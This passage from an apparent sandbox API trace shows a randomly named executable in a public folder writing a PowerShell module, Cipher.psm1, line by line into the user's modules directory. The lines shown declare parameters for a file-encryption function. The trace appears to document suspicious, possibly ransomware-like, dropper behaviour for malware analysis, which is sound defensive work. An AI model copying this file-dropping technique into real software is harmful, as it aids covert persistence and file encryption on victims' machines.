Size=0x4a) returned 0x603c38 [0063.004] GetProcessHeap () returned 0x5d0000 [0063.004] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x603c38) returned 0x4a [0063.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x60) returned 0x603c90 [0063.004] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce88c | out: _Buffer=" [Alias('PSPath','LiteralPath')] \r\n") returned 39 [0063.004] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.004] GetFileType (hFile=0x1c) returned 0x1 [0063.004] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Alias('PSPath','LiteralPath')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Alias('PSPath','LiteralPath')] \r\n", lpUsedDefaultChar=0x0) returned 40 [0063.004] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x1ce878, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce878*=0x27, lpOverlapped=0x0) returned 1 [0063.004] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.007] _close (_FileHandle=3) returned 0 [0063.007] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcbb0 [0063.007] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.007] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.007] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.007] GetFileType (hFile=0x7) returned 0x2 [0063.008] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.008] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cea60 | out: lpMode=0x1cea60) returned 1 [0063.008] _dup (_FileHandle=1) returned 3 [0063.008] _close (_FileHandle=1) returned 0 [0063.009] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.009] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cea30, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.009] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.009] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.009] GetFileType (hFile=0x1c) returned 0x1 [0063.009] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x572 [0063.009] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cea48*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cea48*=0) returned 0x571 [0063.010] ReadFile (in: hFile=0x1c, lpBuffer=0x1cea40, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cea3c, lpOverlapped=0x0 | out: lpBuffer=0x1cea40*, lpNumberOfBytesRead=0x1cea3c*=0x1, lpOverlapped=0x0) returned 1 [0063.010] GetConsoleTitleW (in: lpConsoleTitle=0x1ce860, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7c) returned 0x603cf8 [0063.010] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x603cf8, Size=0x32) returned 0x603cf8 [0063.010] GetProcessHeap () returned 0x5d0000 [0063.010] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x603cf8) returned 0x32 [0063.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4c) returned 0x603d38 [0063.010] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce828 | out: _Buffer=" [string[]]$FileName, \r\n") returned 29 [0063.010] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.010] GetFileType (hFile=0x1c) returned 0x1 [0063.010] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [string[]]$FileName, \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [string[]]$FileName, \r\n", lpUsedDefaultChar=0x0) returned 30 [0063.010] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x1ce814, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce814*=0x1d, lpOverlapped=0x0) returned 1 [0063.010] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.012] _close (_FileHandle=3) returned 0 [0063.012] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcbd0 [0063.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.012] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.012] GetFileType (hFile=0x7) returned 0x2 [0063.012] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.013] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce9fc | out: lpMode=0x1ce9fc) returned 1 [0063.013] _dup (_FileHandle=1) returned 3 [0063.013] _close (_FileHandle=1) returned 0 [0063.014] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.014] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce9cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.014] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.014] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.014] GetFileType (hFile=0x1c) returned 0x1 [0063.014] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x58f [0063.014] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce9e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce9e4*=0) returned 0x58e [0063.014] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce9dc, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce9d8, lpOverlapped=0x0 | out: lpBuffer=0x1ce9dc*, lpNumberOfBytesRead=0x1ce9d8*=0x1, lpOverlapped=0x0) returned 1 [0063.014] GetConsoleTitleW (in: lpConsoleTitle=0x1ce7fc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.014] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd0) returned 0x5e8780 [0063.014] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8780, Size=0x5c) returned 0x5e8780 [0063.014] GetProcessHeap () returned 0x5d0000 [0063.015] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8780) returned 0x5c [0063.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x76) returned 0x5ebdd8 [0063.015] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce7c4 | out: _Buffer=" [Parameter(Mandatory=$false, Position=2)] \r\n") returned 50 [0063.015] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.015] GetFileType (hFile=0x1c) returned 0x1 [0063.015] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", lpUsedDefaultChar=0x0) returned 51 [0063.015] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x1ce7b0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce7b0*=0x32, lpOverlapped=0x0) returned 1 [0063.015] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.019] _close (_FileHandle=3) returned 0 [0063.020] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcbf0 [0063.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.020] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.021] GetFileType (hFile=0x7) returned 0x2 [0063.021] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.021] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce998 | out: lpMode=0x1ce998) returned 1 [0063.022] _dup (_FileHandle=1) returned 3 [0063.023] _close (_FileHandle=1) returned 0 [0063.024] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.024] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce968, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.025] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.026] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.026] GetFileType (hFile=0x1c) returned 0x1 [0063.026] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5c1 [0063.027] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce980*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce980*=0) returned 0x5c0 [0063.027] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce978, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce974, lpOverlapped=0x0 | out: lpBuffer=0x1ce978*, lpNumberOfBytesRead=0x1ce974*=0x1, lpOverlapped=0x0) returned 1 [0063.027] GetConsoleTitleW (in: lpConsoleTitle=0x1ce798, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x104) returned 0x5e87e8 [0063.028] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e87e8, Size=0x7a) returned 0x5e87e8 [0063.028] GetProcessHeap () returned 0x5d0000 [0063.028] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e87e8) returned 0x7a [0063.028] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x5e8870 [0063.028] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce760 | out: _Buffer=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n") returned 63 [0063.028] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.028] GetFileType (hFile=0x1c) returned 0x1 [0063.029] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", lpUsedDefaultChar=0x0) returned 64 [0063.029] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1ce74c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce74c*=0x3f, lpOverlapped=0x0) returned 1 [0063.029] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.032] _close (_FileHandle=3) returned 0 [0063.033] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcc10 [0063.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.033] GetFileType (hFile=0x7) returned 0x2 [0063.034] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.034] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce934 | out: lpMode=0x1ce934) returned 1 [0063.035] _dup (_FileHandle=1) returned 3 [0063.036] _close (_FileHandle=1) returned 0 [0063.036] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.037] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce904, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.037] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.037] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.037] GetFileType (hFile=0x1c) returned 0x1 [0063.037] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x600 [0063.037] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce91c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce91c*=0) returned 0x5ff [0063.038] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce914, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce910, lpOverlapped=0x0 | out: lpBuffer=0x1ce914*, lpNumberOfBytesRead=0x1ce910*=0x1, lpOverlapped=0x0) returned 1 [0063.038] GetConsoleTitleW (in: lpConsoleTitle=0x1ce734, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x94) returned 0x5e8908 [0063.038] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8908, Size=0x3c) returned 0x5e8908 [0063.038] GetProcessHeap () returned 0x5d0000 [0063.038] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8908) returned 0x3c [0063.038] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5fed70 [0063.039] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce6fc | out: _Buffer=" [String]$Algorithm = 'AES', \r\n") returned 35 [0063.039] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.039] GetFileType (hFile=0x1c) returned 0x1 [0063.039] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.039] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Algorithm = 'AES', \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Algorithm = 'AES', \r\n", lpUsedDefaultChar=0x0) returned 36 [0063.039] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x1ce6e8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce6e8*=0x23, lpOverlapped=0x0) returned 1 [0063.039] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.042] _close (_FileHandle=3) returned 0 [0063.043] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcc30 [0063.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.043] GetFileType (hFile=0x7) returned 0x2 [0063.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce8d0 | out: lpMode=0x1ce8d0) returned 1 [0063.044] _dup (_FileHandle=1) returned 3 [0063.045] _close (_FileHandle=1) returned 0 [0063.045] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.045] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce8a0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.046] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.046] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.046] GetFileType (hFile=0x1c) returned 0x1 [0063.046] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x623 [0063.046] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce8b8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce8b8*=0) returned 0x622 [0063.046] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce8b0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce8ac, lpOverlapped=0x0 | out: lpBuffer=0x1ce8b0*, lpNumberOfBytesRead=0x1ce8ac*=0x1, lpOverlapped=0x0) returned 1 [0063.046] GetConsoleTitleW (in: lpConsoleTitle=0x1ce6d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x150) returned 0x5e8950 [0063.047] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8950, Size=0x9c) returned 0x5e8950 [0063.047] GetProcessHeap () returned 0x5d0000 [0063.047] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8950) returned 0x9c [0063.047] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb6) returned 0x5e89f8 [0063.047] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce698 | out: _Buffer=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n") returned 82 [0063.047] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.047] GetFileType (hFile=0x1c) returned 0x1 [0063.047] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] \r\n", lpUsedDefaultChar=0x0) returned 83 [0063.047] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x1ce684, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce684*=0x52, lpOverlapped=0x0) returned 1 [0063.048] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.049] _close (_FileHandle=3) returned 0 [0063.050] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcc50 [0063.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.050] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.050] GetFileType (hFile=0x7) returned 0x2 [0063.051] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.051] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce86c | out: lpMode=0x1ce86c) returned 1 [0063.051] _dup (_FileHandle=1) returned 3 [0063.052] _close (_FileHandle=1) returned 0 [0063.053] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.053] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce83c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.053] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.053] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.053] GetFileType (hFile=0x1c) returned 0x1 [0063.053] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x675 [0063.053] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce854*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce854*=0) returned 0x674 [0063.053] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce84c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce848, lpOverlapped=0x0 | out: lpBuffer=0x1ce84c*, lpNumberOfBytesRead=0x1ce848*=0x1, lpOverlapped=0x0) returned 1 [0063.054] GetConsoleTitleW (in: lpConsoleTitle=0x1ce66c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.054] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x16c) returned 0x5e8ab8 [0063.054] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e8ab8, Size=0xa8) returned 0x5e8ab8 [0063.054] GetProcessHeap () returned 0x5d0000 [0063.054] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e8ab8) returned 0xa8 [0063.054] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc4) returned 0x5e8b68 [0063.054] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce634 | out: _Buffer=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n") returned 89 [0063.054] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.054] GetFileType (hFile=0x1c) returned 0x1 [0063.054] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), \r\n", lpUsedDefaultChar=0x0) returned 90 [0063.054] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x1ce620, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce620*=0x59, lpOverlapped=0x0) returned 1 [0063.055] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.056] _close (_FileHandle=3) returned 0 [0063.057] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcc70 [0063.057] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.057] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.057] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.057] GetFileType (hFile=0x7) returned 0x2 [0063.057] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.057] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce808 | out: lpMode=0x1ce808) returned 1 [0063.058] _dup (_FileHandle=1) returned 3 [0063.058] _close (_FileHandle=1) returned 0 [0063.059] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.059] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ce7d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.059] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.059] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.059] GetFileType (hFile=0x1c) returned 0x1 [0063.059] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6ce [0063.059] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ce7f0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ce7f0*=0) returned 0x6cd [0063.059] ReadFile (in: hFile=0x1c, lpBuffer=0x1ce7e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ce7e4, lpOverlapped=0x0 | out: lpBuffer=0x1ce7e8*, lpNumberOfBytesRead=0x1ce7e4*=0x1, lpOverlapped=0x0) returned 1 [0063.059] GetConsoleTitleW (in: lpConsoleTitle=0x1ce608, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.060] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x140) returned 0x5ead50 [0063.060] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5ead50, Size=0x94) returned 0x5ead50 [0063.060] GetProcessHeap () returned 0x5d0000 [0063.061] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5ead50) returned 0x94 [0063.061] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xae) returned 0x5eadf0 [0063.061] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ce5d0 | out: _Buffer=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n") returned 78 [0063.061] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.061] GetFileType (hFile=0x1c) returned 0x1 [0063.061] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.061] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 79 [0063.061] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x1ce5bc, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ce5bc*=0x4e, lpOverlapped=0x0) returned 1 [0063.061] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.063] _close (_FileHandle=3) returned 0 [0063.063] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fcc90 [0063.063] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.063] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.063] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.063] GetFileType (hFile=0x7) returned 0x2 [0063.064] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.064] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ce7a4 | out: lpMode=0x1ce7a4) returned 1 [0063.064] _dup (_FileHandle=1) returned 3 [0063.064] _close (_FileHandle=1) returned 0 [0063.065] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.065] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), 